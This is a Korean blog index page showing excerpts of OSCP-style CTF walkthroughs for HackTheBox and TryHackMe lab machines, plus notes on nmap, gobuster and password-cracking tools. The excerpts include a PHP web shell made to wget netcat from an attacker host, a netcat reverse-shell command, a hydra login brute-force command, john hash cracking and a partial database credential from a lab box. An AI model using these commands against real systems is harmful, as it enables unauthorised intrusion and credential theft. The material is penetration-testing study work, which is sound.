John 7

[Linux] Node (CTF, no OSCP level)

이 문제는 굉장히 어렵다.... OSCP 수준을 한참 넘어섰다고 본다. Node.js, mongodb에 대한 부분을 알 수 있어서 좋긴했다. User 플래그 따는건 인정, Root 플래그는 선넘었다 ㄹㅇ.... 인가 미흡에 따른 취약점, 계정 DB 정보가 노출된다. 자세히 안보면 놓치기 쉽다. /api/users /api/users/latest hash-identifier로 해쉬 값 확인 후 john 돌려주면 바로 비밀번호가 해독된다. john --format=Raw-SHA256 hash.txt 어드민 로그인을 하면 backup 파일을 받을 수 있다. Node.js 코어 코드인 app.js에 DB 암호가 저장되어 있다. >cat app.js const url = 'mongodb://mark:5AYRft7..

OSCP/HackTheBox 2020.09.03

[Linux] Erit Securus I (Excellent walkthrough)

CMS epploit 후 서버 콘솔에 들어가서 php 심플 쉘 생성 echo ''>c.php Attacking machine(칼리)에서 현재 디렉토리에 nc 가져오기, python 웹 서버 실행 ln -s $(which nc) python3 -m http.server 8000 심플 웹 쉘로 nc다운로드하게 만들기 http://serverip/files/cmd.php?c=wget http://yourip:8000/nc http://serverip/files/cmd.php?c=chmod 755 nc 리버스 쉘 접속 (* 일부 리눅스에 설치된 nc는 위험하기 때문에 -e옵션이 제거 됨, 해당 옵션 안붙이면 무반응) 서버: nc -lnvp 1234 클라: nc -nv -e /bin/bash [ip] SQLlit..

OSCP/TryHackMe 2020.06.04

[Linux] MrRobot

정보탐색 NMAP, WpScan, Nikto 배운점 1. Recon할 때, nikto를 활용하는 점 잊지 말자 2. 로컬권한상승을 위해 취약점 탐색용으로 LinEnum 스크립트를 활용할 수 있다. 3. WPSCAN(xmlrpc 이용한 로그인 브루트포스를 지원한다.) 4. 터미널에서 export TERM=screen 입력하면 clear 명령어를 사용할 수 있다. 히드라(웹 폼 브루트포스) - 성공,실패 메세지 유무를 통해 아이디 존재도 확인 가능함. 아이디 브루트 포싱(S:성공, F:실패시 메세지, 생략시 실패시 메세지) hydra -L 파일명 -p qwerqweqwrqwe 아이피 -V http-form-post 'wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Login+..

OSCP/TryHackMe 2020.05.13

[Linux] Daily Bugle

Daily Bugle Compromise a Joomla CMS account via SQLi, practise cracking hashes and escalate your privileges by taking advantage of yum. 문제에 대한 포럼과 다른 방법의 팁들 https://tryhackme.com/thread/5e1ef29a2eda9b0f20b151fd 칼리에 joomla 스캐너 툴이 존재함 => 버전: joomscan 3.7.0 http://10.10.113.114/administrator Exploit-DB검색 searchsploit joomla 3.7.0 SQLMAP 진행 추출 순서 1. DBMS: --dbs 2. TABLE: -D joomla --tables 3. Column..

OSCP/TryHackMe 2020.04.25

Nmap, Gobuster, JohnTheRipper

Nmap -p-: scan all port -Pn: Disable host discovery and just scan for open ports -sV: Service Scan -sC: Scan with the default nmap scripts -A: Enables OS and version detection, executes in-build scripts for further enumeration nmap -sV -vv --script vuln TARGET_IP 포트 명시 안하면 기본적으로 1000개를 검색한다. --script vuln : 스크립트 파일명에 vuln이 포함된 nse파일을 검색한다. GoBuster flag gobuster dir -u http://:3333 -w Descriptio..

14. Password Attacks -1 (cewl,fgdump)

fgdump,pwdump,wce : 현재 윈도우10 호환버전 안나옴, (2020-03-09) www.foofus.net/?cat=8 https://www.ampliasecurity.com/research/windows-credentials-editor/ 14. Password Attacks 14.1 - Preparing for Brute Force Generally speaking, the passwords used in our guessing attempts can come from two sources: dictionary files or key-space brute-force. 14.1.1 - Dictionary Files 칼리에서 제공하는 사전파일 위치 /usr/share/wordlists/ 14..